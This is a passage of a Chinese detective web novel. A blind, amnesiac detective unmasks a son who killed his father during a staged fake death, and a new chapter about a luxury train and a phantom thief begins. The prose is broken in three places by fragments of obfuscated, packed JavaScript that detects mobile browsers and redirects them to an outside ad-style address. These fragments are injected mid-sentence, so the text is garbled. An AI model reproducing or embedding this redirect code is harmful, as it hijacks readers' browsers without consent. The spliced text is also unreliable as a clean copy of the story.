“不过既然鲁希尔先生说了,那么我便直言了。”阿莉雅双手交叉靠在椅背上淡淡开口,“埃里克斯·戈登的死亡和药物没有任何关系。” 8. 贾尼斯基基·第五幕 阿莉雅伸出手搭在怀特的手背,没什么情绪起伏地开口:“尤塞恩,老实交代你做了什么。” “凶手是尤塞恩?”鲁希尔皱眉。 “不,不是我。”尤塞恩连忙摆手否认,“阿莉雅小姐,这和您之前说得不一样啊。您不是说……” “我没说凶手是你。”阿莉雅接过怀特手里的东西,“我只是让你交代做了什么。” 在其他人的注视下,尤塞恩深吸一口气,缓缓道来:“父亲那天让我给他倒红茶的时候,我、我在红茶里加了利尿剂……” “利尿剂?你为什么会有这种东西?”哈里布发出疑问。 尤塞恩支支吾吾不愿意说。 “现在可不是你隐瞒的时候了,尤塞恩。”鲁希尔扶起眼镜,“你这样只会加重自己的嫌疑。” “是为了减重吧。”阿莉雅开口。 有了阿莉雅的提醒,怀特恍然大悟,解释,“利尿剂可以促进排尿,使身体迅速丧失水分。但是这种做法并不健康。”事实上,利尿剂更多会用在治疗高血压、心力衰竭、水肿这些症状上,像尤塞恩这样开发了奇怪用法的人很少。 她提醒尤塞恩:“这种药物长期滥用会损伤肾脏,加重心脏负担,是很危险的哦。而且因为水分流失减少的体重会在饮水后迅速反弹的。” “因为经纪人对我的体重管理很严格,所以我偶尔会在测量体重前偷偷吃这个。”尤塞恩在其他人无言的注视下渐渐涨红了脸,“我只是想在父亲去厕所的时候偷偷翻一下遗嘱的内容而已!” “然而埃里克斯先生在你进门前就已经倒在地上了。”阿莉雅迅速将话题转移回来,“你当时看见的场景是埃里克斯在桌前倒下,且背面朝上对吗?” “是的,我在看到后拿起地上的钥匙往楼下跑。” “他说的没错。”戈伦点头认证,“我在听到尤塞恩叫声没多久后,他就匆匆忙忙跑过来给我开门了。我看他人特别慌乱,就让他先去给其他兄弟开门。我上楼查看父亲的状况。” “确认父亲死亡后我就和赶过来的纳达夫说了,他报的警。” 戈伦还顺便补充了一点:“我承认我确实对父亲的红茶动了手脚,我在里面下了一点安眠药。只不过,明明是父亲给我开门的时候让我去楼下泡的红茶,结果端上去后他根本没有喝。” “我也在父亲的红茶里下了安眠药。”哈里布接话,“我的房间里有给父亲备用的安眠药,所以我拿了一点。不过父亲也没有喝。” “纳达夫,你呢?”鲁希尔看向坐在桌尾最年轻的弟弟,“你做了什么?” “我……” “不可能是纳达夫吧。”尤塞恩解围,“阿莉雅小姐还是他委托来的,而且当时报警也是他最先想到的。怎么可能会有人自己抓自己呢?” 戈伦摇头:“虽然我不觉得是纳达夫,但,很多作品里都有这样的说法。凶手往往会利用自己是第一发现者或者报案人的身份逃脱抓捕。” 哈里布:“第一发现者是尤塞恩。” “!不是我啊!刚刚不是说过了吗!” “你们不觉得奇怪吗?”阿莉雅一开口就让在场的所有人都安静了下来,“为什么埃里克斯让你们去泡红茶,但是自己完全不喝?” “为什么自己都下楼给你们一个个开门了,也不愿意多走几步去厨房自己,或是看着你们泡一杯红茶?” “这个……” “简直就像是在故意给你们下手的机会一样。明知道家里常备各种药物,还特地留出时间和空间,好方便你们在红茶中下药。”阿莉雅摩挲着手中的东西,“鲁希尔先生,您之前说自己是第一个被叫到书房的,可以说说您做了什么吗?” 鲁希尔叹气:“我和哈里布他们差不多,也下了安眠药在红茶里。父亲没有喝。” “纳达夫先生,您说您是第二位?” “是的。” “哈里布先生、戈伦先生也都坚持你们两位分别是第三位和第四位?” “没错。”“当然。” “唉。”阿莉雅叹气,“其实凶手的身份很好推测,只要知道埃里克斯先生叫各位进屋的顺序就能知道,在尤塞恩先生进门前的那一位商谈对象就是凶手。” 戈伦瞪大了眼睛,指着自己:“我?” 没有理会他的疑惑,阿莉雅继续说:“纳达夫先生是一位画家,他居住在二层的左侧,是整座宅邸视野最好的位置。哈里布先生居住在二楼右侧,我推测您是埃里克斯先生的助理,从您房间有准备埃里克斯先生的备用药这一点来看,恐怕是贴身助理吧?” “是。”哈里布点头。 “戈伦先生住在二楼中间,喜欢品酒,职业应该是品酒师一类。” “没错。” “尤塞恩先生住在一楼右侧,是位模特。鲁希尔先生住在一楼中间,职业……我想,应当是公司第二话事人的位置吧。”从他和哈里布交流时,哈里布言语中还是希望他能定夺来看,职级只会更高,但也不可能高过埃里克斯。 “不错的推理。” “这样,最后一个谜团也解开了。”阿莉雅两指夹着黑色的邀请函晃晃,“埃里克斯先生早早就把答案告诉我了。眼睛记录风景;耳朵倾听命令;鼻子品味陈酿;嘴唇传递意志;双手闻名于世。这根本就不是品味奇怪的诗句,而是在暗示。” “纳达夫先生作为画家会用画笔记录风景;哈里布先生身为助理常常听从命令行事;戈伦先生品酒时鼻子也需要派上用场;鲁希尔先生是第二话事人需要向下面的人传递想法;至于尤塞恩……虽然还没能闻名于世,嗯,就当是埃里克斯先生对你的祝福吧。” “哈……为什么只有我……”尤塞恩受伤地捂住脸。 哈里布提出异议:“推理过于牵强了,阿莉雅小姐。而且我和鲁希尔反过来也说得通。” “当然,当然,因为我还有最重要的线索没有指出。”阿莉雅拍拍怀特,让她借纸笔把各个房间的位置都标注出来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145545|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >很快,怀特在白纸上画出几个方块: 楼梯卧室书房楼梯收藏室 楼梯纳达夫戈伦楼梯哈里布 楼梯厨房鲁希尔楼梯尤塞恩 一目了然的房间分布图让其他五人都无法摸清阿莉雅的意思。 “看了这个图应当就能明白了吧?书房、戈伦、鲁希尔,这三个房间呈一条直线。眼睛、耳朵、鼻子、嘴巴、手,这五个器官中只有鼻子和嘴巴能够连成一条线。所以嘴巴的定位一定是鲁希尔先生。” “我不太明白这和凶手有什么关系。”鲁希尔掐了掐眉心。 “唉。那我再强调一遍吧:眼睛记录风景;耳朵倾听命令;鼻子品味陈酿;嘴唇传递意志;双手闻名于世。眼睛:纳达夫先生;耳朵,哈里布先生;鼻子,戈伦先生;嘴唇,鲁希尔先生;双手:尤塞恩。”阿莉雅歪头,“这样应该能明白了吧,这就是你们的谈话顺序。” “等下,你是说,鲁希尔他才是在尤塞恩前面进去的那个人?”哈里布拍桌起身,“换句话说,他就是凶手?” “可是、可是,我当时开门的时候,鲁希尔兄长正好好地在房间里待着呢……还换了件衬衫。”尤塞恩默默举手发言,“门确实上了锁。” “是啊,而且我上楼的时候也没有看到其他人。”戈伦也为此证言,“如果真是鲁希尔兄长,那么在我的视野里也能目击到下楼逃跑的他。” “希望你们能想明白一件事,这个世界上有比走楼梯更快的逃跑方法——自由落体。”阿莉雅清了清嗓子,“虽然整个案子看上去十分复杂,但实际上并没有什么诡计和手法,唯一作为干扰项的可能就是进门的顺序这一点。” “不是预谋已久的犯罪也不是精心设计的陷阱,只不过是一时恼怒动手后的遮掩罢了。简单来说,是冲动杀人。” “利用兄弟们都动了手这一点,犯人很轻松地就说服了其他几人继续隐藏真相,声称这件事是个意外。这也是为什么你们在医院见到我之后努力隐瞒之前见过我的事实,只可惜你们的演技太拙劣了,就算我看不见也能听清言语中的漏洞。” “只不过,在我到来后,眼见着事情有败露的风险,犯人便想了办法让我消失。可惜,我的生命力比他想的要旺盛。虽然失去了一些东西,但我的其他感官也变得更加灵敏。” “在医院碰到我的犯人意外于我还活着,试探一番后打听到我不仅失忆还失明了,于是他就打定主意要把我送回齿轮市,好掩盖他杀人加伤人的罪名。” “但在医院,我意外接下了调查的委托。有些慌张的犯人仗着我无法视物这点,暗自认为我无法破案,于是同意了我的调查。很遗憾,即使失明,我也能察觉到您掩盖的真相。” “如果案件发生在齿轮市,我敢肯定报警后用不了三分钟,那些警局的笨蛋们就可以结案将你捉拿归案了。您在书房阳台的栏杆上‘失误’留下的指印,拿给还没毕业的排名倒数的警校学生都可以验出指纹的主人,鲁希尔·戈登先生。” 9. 贾尼斯基基·第六幕(完) 阿莉雅加重手上的力度。“鲁希尔·戈登,你就是杀害了你的父亲,埃里克斯·戈登的真凶。” “哈哈哈,指纹而已,能证明什么?”鲁希尔大笑,“这里是父亲的宅邸没错,但是我也同样会在这里暂住。我想应该没有哪国的法律是不允许儿子去父亲的阳台晒晒太阳的。” “大家都知道的,我的房间就在一楼,那里的采光不太好。借用一下父亲书房的阳台也没什么问题吧?” “这个……确实,而且我也去过父亲的阳台。”戈伦稍加思考后认同,“指纹并不能证明什么吧,硬要说的话我应该也有留下。” “但是,负责打扫房间的佣人应该每天都有打扫……”一旁的纳达夫小声反驳,在看见哈里布的瞪视后缩着脑袋不出声了。 哈里布:“佣人直到今天为止都还在负责清洁地毯上的血迹。”言下之意就是没有擦掉阳台上的指纹也是很正常的事情。 “埃里克斯·戈登的死亡原本就是一出剧本。”阿莉雅不管他们的对话,自顾自继续,“他原本就是想寻找一个合格的继承人。” “剧本?” “继承人?” 尤塞恩和戈伦同时发出疑问。 “没错,剧本。在尤塞恩离开书房前,埃里克斯·戈登都还活着。” “但是、但是我看见的血迹”“血包。” 戈伦皱眉:“但我赶到的时候有上前确认父亲的鼻息和脉搏,鼻息或许还可以憋气伪装,可脉搏停止这种事情是无法造假的。” 阿莉雅打了个响指:“是的,你说得对。你到达那里之后,埃里克斯已经死亡了。前后几分钟的误差。”就算让法医来验尸,也会给出相差不大的死亡时间,不过,也就仅此而已了。除了死亡时间外,法医能验出来的可要多得多。 如果不是法医没有验尸机会,恐怕也不会轮到阿莉雅来解决这个问题了。 “荒谬!”哈里布皱眉,“父亲怎么可能会用这种拙劣的剧本来选出继承人!” “又是一个思想误区。首先,继承人并不意味着就是遗产的继承人,也并不一定是指公司的掌权人。其次,或许在现在的你们看来是场拙劣的剧目,如果不是凶手的横插一脚,还是能测试出真情的。”阿莉雅遗憾地摇头,“在得知自己死期将至后,埃里克斯更想将自己最宝贵的事物托付给最关心自己的那个孩子。” “呵,他除了公司,还能有什么宝贵的事物。”鲁希尔冷笑,“继承人除了是指公司的继承人外,没有别的可能。” 哈里布瞳孔紧缩,他震惊地看向自己的大哥:“鲁希尔,你不会真的……” “可笑,我完全没必要那么做吧。”虽然这么说着,但鲁希尔的嘴角抽搐着,似乎是想压抑着自己的笑意,“我作为公司的掌权人也不可能犯下让公司陷入舆论的错误吧。” “你们的计划是在医院开始的吧。”阿莉雅抿唇,“从你频繁去见埃里克斯这一点来看,他应该是对你十分放心的。所以让你协助完成这个计划。” “不,但是,就算不用鲁希尔兄长协助,父亲一个人应当也能完成假死的计划才对。”戈伦还是想为自己的大哥洗清嫌疑。 阿莉雅摊手:“那么,假设你是埃里克斯,你不知道你的孩子究竟是为了自己的遗产还是担忧自己的身体才来到这座小镇,在你决定假死后,能够放心自己的孩子不会做出弄假成真的事情吗?” “父亲为什么会防备我们?”戈伦无法否认,只能用疑问回答疑问。 “这我就不知道了。”阿莉雅耸肩,“不过原因也很好猜,无非就是年纪大了,无法掌控自己的孩子,对你们产生了戒备。当家庭权力产生转移后,他发现自己不能再像以前一样操纵你们的人生……差不多就是这类原因吧。” “而且,从他给这座宅邸的房间布局来看,你们的父亲,埃里克斯·戈登似乎是个自恋狂。” 哈里布:“请慎言,阿莉雅小姐。” “好吧,那换种说法。他似乎认为自己是你们的大脑。”阿莉雅示意他们看怀特手里的那份房间布局图,“你们看,五官都在一二两层楼,只有他一个人独占三楼。而且他寄给我的邀请函上也写了:‘……耳朵倾听命令……嘴唇传递意志’。省略的主语到底是谁,应该不用我所说了吧?” “题外话暂停。埃里克斯需要个同伙保证自己的假死,不会让自己‘死亡’这一事情成真,所以让鲁希尔作为协助者。他们的计划也很简单,让鲁希尔一直藏在书房内,在最后一人到来发现‘尸体’后,迅速离开到达一楼,等待开门。在大家看见尸体后,配合将这场剧目演下去就好。” “哈哈哈。”鲁希尔捂着脑袋摇晃几步,放声大笑,“阿莉雅小姐,你的推理满是漏洞啊——” “从你的描述来看,根本没有我藏身于书房的必要,不是吗?” “怎么会没有必要呢?你可是要负责确保埃里克斯安全的那个人。如果在你呆在自己房间的期间,埃里克斯意外死亡可就麻烦了。” “但我完全没必要在最后一人来后再离开,那样时间过于紧张了,不是吗?” 阿莉雅沉默:“所以说,你要确保尤塞恩必须是离开房间去找其他人,而不是直接上前试探鼻息。否则,你们的计划完全无法进行下去。” “那我呢?”戈伦插话,“我上去的话也会直接试探鼻息,那不就是直接暴露了吗?” 鲁希尔拍拍戈伦的肩:“没错。而且,如果尤塞恩真的上前试探,我却突然出现阻拦,那不是更奇怪了吗?” “还有一点,如果尤塞恩没看见书房门前的钥匙,又该如何继续呢?” 阿莉雅勾起唇角:“哦?为什么鲁希尔先生你说的是‘书房门前的钥匙’?我记得尤塞恩当时描述的是‘书桌前不远处’。” “这、这有什么奇怪的。”鲁希尔吞咽口水,“书桌前不远处的距离和书房门前差不多。比起这个,还不如想想如何补救你那错漏百出的推理吧。” “错漏百出啊……”阿莉雅挑眉,“错漏百出的难道不是鲁希尔先生你吗?钥匙的位置原本应该离门更远一些才对吧?” “谁知道呢,说不定是躲在门后的犯人失手扔到了更近的位置。” “躲在门后的犯人?”阿莉雅捉到言语中的疏漏,“为什么是躲在门后,不是躲在书桌后,也不是躲在窗帘后,偏偏是门后呢鲁希尔先生?我想听听你的推理。” 意识到说漏嘴的鲁希尔闭紧嘴。 没有听见他的回答,阿莉雅无所谓地笑笑:“没关系哦。就算你没有说漏嘴,也有能证明你是犯人的证据。” “比起这个,你留在书房的真正的原因,恐怕是埃里克斯希望你能在一旁给出建议吧。毕竟他已经不再年轻了,对自己的儿子们了解得远不如你这个大哥多。” “选择在尤塞恩的顺序进行剧目的开演,也是因为他很好骗。更重要的是,他这个模特的职业完全不需要家族的支持,是完全靠自己努力到今天的。所以埃里克斯给他的遗产分配也不会涉及到公司。” 尤塞恩在一旁心情复杂:“……” “至于你为什么在尤塞恩走后才离开,恐怕也是因为临时改变了主意吧。你的顺序在尤塞恩之前,埃里克斯和你说了些什么,你起了杀心。” “不明白你在说些什么。”鲁希尔嘴硬不承认。 “你不承认也没关系。”感受到手中的颤动,阿莉雅安心地端起桌前的酒杯,“毕竟,只要警察去检验一下指纹上的血液,再和医院留存的记录进行对比就能证明你是凶手了。” 宅邸外传来鸣笛声,是警察们驾车赶到了。 他们把试图湮灭证据的鲁希尔按在地上,给他拷上了手铐。 “阿莉雅小姐,还好你在报警器震动后才提到阳台的指纹是沾上了血迹的。不然我可没办法拦住鲁希尔先生去销毁证据。”怀特捂着胸口,刚才三个警察都没能按住鲁希尔的场景让她格外后怕。 “警察过来花的时间太久了。”阿莉雅不满地皱眉,“我甚至被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145546|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫编出了一段不像样的推理。” 怀特安慰道:“没关系啦,总之最后抓到犯人就好。” 一位年轻的警察向两人敬礼,过来了解案件的详情。 “我应该有通过报警器向你们同步了我们的对话。”阿莉雅不想重复无意义的工作。 年轻警察挠挠脸:“这个……因为阿莉雅小姐中间有中断一次,所以我们想了解的是那段中断的部分。另外,我们也想了解一下鲁希尔犯罪的全过程,毕竟阿莉雅小姐似乎跳过了一些步骤……” “那是我在拖延时间顺便试试能不能诈出他的话。”阿莉雅如实回答,“犯罪的过程……这种事情不是显而易见吗?他藏在门后更好实行‘用钥匙分散注意力’的办法,趁着尤塞恩离开,上前拿起尖锐的玻璃碎片,一刀毙命。从阳台逃离后翻进窗户里,洗澡换衣服。” “那个、为什么被害人没有挣扎和惨叫?”年轻警察举手提问,“而且,据其他前·嫌疑人的描述来看,所有的门窗应该都锁上了。” “被害人是一位身患绝症多日,命不久矣的老人。一个身强力壮的成年人完全可以一手按住他的嘴,一手刺杀他。而且被害人埃里克斯先生是背面朝上倒在地上的,这种时候,只要将全身的重量压在他身上,被害人就完全动弹不得了。” “至于门窗的问题,你应该还记得我说过的被害人和凶手是同伙?” “是、是的。”年轻警察立刻挺直了腰板敬礼,“被害人和凶手合伙策划了‘假死’企图试探其他前·嫌疑人的真心。结果凶手因不满被害人的遗产分配结果起了杀心,在嫌疑人尤塞恩离开后动手杀害了被害人。” “嗯。因为是同伙,所以被害人埃里克斯也没有必要特意锁上同伙的门窗。不过,因为其他人都需要去厨房进行‘红茶测试’,所以还是把门锁上了,防止露馅。” 怀特也抱有疑惑:“可是,为什么还会设置‘红茶测试’呢?难道一个测试还不足够吗?” “关于这点,”阿莉雅无奈叹气,“你要知道这位埃里克斯先生可不仅仅是做了‘假死’和‘红茶’两个计划的,他甚至提前给我寄了封邀请函。” “所以是三个计划!”怀特惊讶。 阿莉雅点头:“没错,虽然没有明说,但意思也很明显了:如果我遭遇了不测,那么继承人的选择就交给你了。不过,埃里克斯先生的防备心还真是重啊……” 为表达感谢,警察们将两人送回了医院。 怀特明明到了下班的时间,却又悄悄凑过来问:“但是,遗产究竟要怎么分配呢?” “啊,这个啊。”阿莉雅答,“还记得那块刻着埃里克斯留言的砖头吗?那恐怕就是他的第四方案了。” 纳达夫在宅邸中深吸一口气,打开那位金发少女在离开前交给他的信。映入眼帘的是父亲的字迹: 我已决心将我的全部财产送给我最后停留的医院,镇上的人们理应获得更好的治疗…… 纳达夫抿唇,将信件妥贴地收好。 “话说回来,害得阿莉雅小姐失忆的就是鲁希尔先生吗?”怀特准备出门前猛然想起此事,握着门柄的手停在原处,转头看向换了一套病服靠在床上的阿莉雅。 月光洒落在她像洋娃娃般精致的面容上,阿莉雅却皱起脸,破坏了原本和谐的画面。“他无视了。” “什么?”怀特怀疑自己的耳朵。 “我说,他无视了我。”阿莉雅嘟嘟囔囔抱怨,“我问他我这副样子是不是他干的,他一句话都没说。旁边的警察跟我说,他像是完全没听我的问题。” 啊,恐怕这不是无视,而是整个人都失了魂吧。怀特默默想着。毕竟那位表面上来看就是为天之骄子呢,如果不是阿莉雅小姐拆穿了他,恐怕不久之后,他就要接任公司了。 “算了。”阿莉雅用被子蒙住脑袋,“等他被转移到齿轮市的警察局,我再好好拷问。”按照怀特的说法,她的小助手可是齿轮市警察局的人,审问一个犯人那还不是轻轻松松。 10. 行驶的西奥多·第一幕 推开医院的大门,怀特轻轻嗅了嗅满屋的飘香:“面包?” “哦,怀特,你来了啊。”值夜班的前台同事听见她的声音挥挥手问好。 “今天食堂提供的早餐竟然是现做的吗?”怀特有些惊讶那些向来爱偷懒的厨师们竟然愿意自行烤面包,仿佛以前干巴巴的、一看就是前一晚买回来的面包是她的幻觉一样。 她的同事表情复杂:“这个啊……” 换好护士服,怀特直接朝着阿莉雅·科洛桑的病房走去。推开门,金发的睡美人公主身旁正坐着一位头发还有些潮湿的年轻男性。 对方见到有人进来也不意外,点点头,起身,在走廊外站定并带上了病房的门:“麦·怀特小姐?” “是我,那您就是?” “谢德·道格。”黑发的年轻人将自己软塌塌黏在脑门上的碎发撩起,“昨天我们在通讯里交流过。” 怀特这才恍然醒悟,那一连串的事件竟然只发生在了一个下午。 “关于阿莉雅的事情,我还有些细节方面想要询问。”谢德·道格没有多余废话地掏出记事本,“根据您的描述,您是在三天前的午时在医院门口发现的阿莉雅对吗?在那之前,是否有注意到医院周边有可疑人物?” 由于这位道格先生在通讯里沟通时自我介绍过他是位警察,所以怀特对于他这种突然的询问也没有任何不适:“当时是午饭时间,医院里的人都集中在食堂吃饭了,医院外的行人也很少,毕竟那会儿太阳很大,没什么人出门。我认为应该没有可疑人物。” “您在通讯时提到,阿莉雅当时身穿了一件黑色的洋裙,请问裙子在哪?” “啊……那件衣服因为破损严重,我们就丢弃了。”怀特说完有些忐忑,“那件裙子很重要吗?” “不。”谢德露出一个安抚的笑容,“因为阿莉雅衣柜中的裙子都是特别定制的,每款的数量也都是一定的,所以我只是在确认接下来是否需要联系那位设计师。” 怀特捕捉到了他笑容中的一丝疲惫,但又从他习以为常的表情中领悟到这种事恐怕不是第一次发生了。 “关于阿莉雅的病情,我在电话中只了解到失明和失忆。”谢德的眉毛皱起,“但是据我观察,她的手腕上也有绷带,还有其他伤处吗?” “是的,除了手腕、脚踝,腹部也有伤口,只不过手腕和脚踝处是擦伤或是撞击留下的痕迹,但是腹部则是很明显的刀口。”怀特犹豫了一下还是将情况全部汇报,“发现阿莉雅小姐的那天,我们确认过她的腹部已经做过了简单的包扎处理,但是以防外一医生还是仔细检查了伤口。幸运的是只伤到了表层的皮肤,没有伤到器官。” 谢德的表情不是很好,他如实记录了怀特的汇报,随后弯腰道谢:“谢谢。” “不不,我也没做什么。”怀特连忙摆手。 年轻的黑发警察收起记事本:“那么就麻烦怀特小姐再看护一会阿莉雅,我去办理必要的手续。” 望着他离开的背影,怀特突然想起了刚刚前台小姐告诉她的事情。 “有位齿轮市的警察在凌晨五点的时候突然来了医院。”那位值了夜班等待交接的前台打了个哈气,“他说想要借用医院的浴室和食堂,我检查了他的警官证是真的之后就同意了。你闻到的面包香味应该就是他做的吧,毕竟他一进食堂就去用烤炉了。” 而食堂的厨师们对此也没什么意见的样子,怀特去吃早饭的时候,他们乐呵呵地用小刀切下柔软还散发着热气的吐司。“那位警官一下子做了很多面包呢,说是感谢我们借他使用食堂。” 收回目光,怀特推开病房门,坐在病床旁默默望着时钟发呆。说起来,那位警察五点就赶到医院的话,难道是坐蒸汽马车来的? 怀特又将眼神从时钟挪到还在睡梦中的阿莉雅小姐身上。不会吧……真的会有人连夜坐车赶来吗?明明只要再过几个小时,列车就能正常运行了…… 谢德把最后一份文件签完,同前台告别后转身拐进了食堂。厨师们见他来了纷纷露出一个善意的微笑。 如果阿莉雅在这的话恐怕会吐槽这些厨师全都被面包收买了吧。谢德维持着面上的笑意,将他单独留下的那份早点带走。 推开病房门前,他下意识地看了眼腕表确认时间。八点,差不多是阿莉雅平时起床的时间了。 端着早点进门,果然不出他所料,金发的少女已经坐起来打着哈欠。 “按照流程的话,鲁希尔恐怕还要在玫瑰镇的警察局呆一阵子。”那张因为生病显得更加苍白的脸上添了一丝谢德熟悉的蠢蠢欲动,“想要快点审问他的话,果然还是得……” 阿莉雅没把话说完,她缓缓地眨了一下眼睛,鼻尖耸动嗅到了空气中的香甜气息:“面包、鸡蛋和培根?” “还有牛奶。”谢德将手上的东西架在了病床上。 怀特看了一眼床上的小型餐桌,又瞅了一眼将这个小桌带来的人:“道格先生,您单手就能端起这个桌子吗?”这个目测大概也有11磅,一路端着这个还能保持平稳不让牛奶洒出来。该说不愧是警察吗。 “不算重。”谢德·道格轻飘飘一句话带过。他的眼神落在阿莉雅身上,有些犹豫不决地开口:“我是……” “谢德·道格,我的助手,对吧?”阿莉雅歪着头看向她身旁的热源,“你坐蒸汽马车来的?在和怀特通讯结束后不久?” 谢德轻笑着应声:“是的,我是你的助手,阿莉雅。我确实是在结束通讯后不久就乘坐蒸汽马车过来了。齿轮市通往玫瑰镇的列车要在十点半后才能通车。” “哼哼。”阿莉雅得意地朝着怀特所在的位置挑眉,像是在说看吧,也是有人会选择蒸汽马车的。 怀特无奈笑笑,她在一旁静静看着两人的互动,在发现无论阿莉雅有什么动作,谢德都能够立刻将她想要的东西送入手中后,怀特终于放下心。这意味着这次来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145547|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人确实是一位熟悉阿莉雅,并且对阿莉雅很好的人了。 “阿莉雅小姐,关于昨天……”有人突然推开病房的门,在看见屋内的情况后愣住。 “纳达夫先生,您好。”怀特礼貌点头致意,“这位是阿莉雅小姐的助手,谢德·道格先生。” 纳达夫:“哦、哦,你好。” “您好,有什么事吗?”谢德在阿莉雅结束用餐后收拾好了餐桌。 纳达夫看了看正捧着牛奶慢悠悠品尝的阿莉雅,又在谢德静静等待的目光下撂下手中的东西就跑了:“打扰你们了,再见!” 阿莉雅疑惑:“他来做什么?” 谢德拾起地上的画作,细腻笔触勾勒出少女的面容,显然,作者对画中的少女抱有一些好感。他开口:“来送画的吧。” “哦,那幅画啊。”阿莉雅思考了一小会,“带回去会很麻烦吗?” “如果你想的话,不麻烦。” “那就带回去。” 三言两语定下了这份礼物的去处,谢德又确认了下时间,提醒阿莉雅:“已经八点半了,我们应该准备下了。” “嗯?十点的列车?”阿莉雅反应迅速,“要提前半小时验票?” “对,因为是那辆豪华列车——西奥多列车的车票,所以检票会比较严格。”谢德递出他从齿轮市的事务所内带过来的衣物,“不过也不用提前半小时验票,我们得留出些时间。” 在换完衣服被按在椅子上后,阿莉雅才明白留出的时间要做什么。 “道格先生还会编辫子啊,真是厉害。”怀特在旁边感叹。 谢德叹气:“因为有人说过,20个小时足够学会一项新技能。” 怀特:“?” 怀特没明白,但是正被掌控着头发的阿莉雅听懂了。大约是失忆前的她用这句话骗这位助手学的吧。嗯,应证了她最开始的推理,她的性格确实不太好。 “但是20个小时只能入门一项技能,想要达到专家级别,大约需要10000小时的刻意练习。”阿莉雅开口。 谢德不置可否:“所以我正在朝专家级别努力呢。” 怀特:“?”先前早餐时刻那种其乐融融温馨美好的氛围去哪了?这两个人的相处模式到底是什么样的? 虽然谢德说自己的水平还没到专家级别,但是怀特对他的手艺赞赏有加:“半扎发能完整露出阿莉雅小姐的脸,而且右上边的花苞也把原本单调的发型衬托得更加好看了。” “当然,也是因为阿莉雅小姐本身就足够好看,而且头发也足够多,才能让道格先生编出花苞的形状呢。”她也没忘给阿莉雅也送上夸夸。 “嗯。”阿莉雅应了一声,“你会来齿轮市的吧?” 怀特一顿,此时的病房只剩她们两人,谢德说要先去楼下取一件东西暂时离开了。 阿莉雅也没等她回答,自顾自开口:“那我们就齿轮市见吧,麦·怀特。” 11. 行驶的西奥多·第二幕 玫瑰镇的列车站此刻十分热闹,不少临近小镇的人都赶了过来,只为了瞧一瞧特雷恩集团花了大价钱打造的豪华列车——西奥多列车。 现在的检票口正如阿莉雅所言,至少也需要半小时的等待才能登上列车。 正在谢德纠结到底要不要带着身后的大小姐挤进人群中排队时,有人跳了起来朝他挥手:“谢德!” “亚尔森。”谢德有些意外会在这一偏远的小镇碰见警局的同事,“你怎么在这?” 名为亚尔森的警察带着两人走到安静的角落,悄声解释:“是怪盗C.N.啦,这次他盯上了那枚祖母绿。昨天你刚离开警局没多久我们就收到了特雷恩集团的报警通讯,我们这次是来协助的。” 谢德抬头往车站一扫,确实有他熟悉的同事正身着便衣藏于人群之中。 “不过既然有阿莉雅小姐在,那这次C.N.一定没法得逞了。”亚尔森期待地看向金发的少女。 “顾问在休假时也要像警察一样加班吗?”阿莉雅拽了拽谢德的衣角提问。 在来车站的途中,阿莉雅也从谢德的口中获取了自己的基本信息:齿轮市警察局特别案件处理处的顾问,同时在一家面包店的楼上开着SP(SolveProblem)事务所。除此之外,还有关于父亲是画画的,母亲的官位不小,以及兄姐的一些信息。 比起她刚刚苏醒时只知道自己的名字和性别,在对于自己的了解这一进度条上已经有了质的飞跃。 谢德:“如果你不想的话,不用。不过你以前对抓捕怪盗C.N.很积极,确定不参加吗?” “怪盗的对手应该是侦探吧。”阿莉雅抱着胳膊,“我对这个没什么兴趣……” “说起来,那枚祖母绿应该是放置在豪华列车车厢展示的,对吧?”谢德看向亚尔森,“如果我们参与行动是不是就能免费享受豪华车厢的服务?” “当然,警局会报销的。”亚尔森用大拇指表达肯定。 “参加。”阿莉雅毫不犹豫。 和普通的座位相比,当然还是豪华的车厢更好。因为这次行程仓促,所以谢德没能订到这辆最早能抵达齿轮市的西奥多列车豪华车厢的座位,只能退一步选择普通座位。他原本还担心大小姐会不适应窄小的座位和吵闹的环境,一路上打了很多预防针,现在有了协助抓捕怪盗的理由,可以正大光明地坐上更舒服的座位了。 决定参加抓捕行动后,两人也不必等待长长的检票队伍,跟着亚尔森上了列车。 “我希望不要有无关人员进入这节车厢……啊,原来是阿莉雅小姐,您也参与这次行动就让我放心多了。”一位十分符合大众对绅士印象的中年人撑着手杖站起来行礼,但在他走近和阿莉雅握手时迟疑了动作,“您的眼睛?” “如你所见,一个意外。”虽然没有听谢德描述过,但是阿莉雅对于自己是个名人这点接受良好,“人们常说观察力对于推理至关重要,就我个人而言,眼睛在观察细节这一方面并非是不可替代的。”她顿了顿,担心对方听不懂她的意思,进一步解释:“我是说,不用担心失去视觉会影响我的能力。昨天我刚刚解决一起杀人案。” 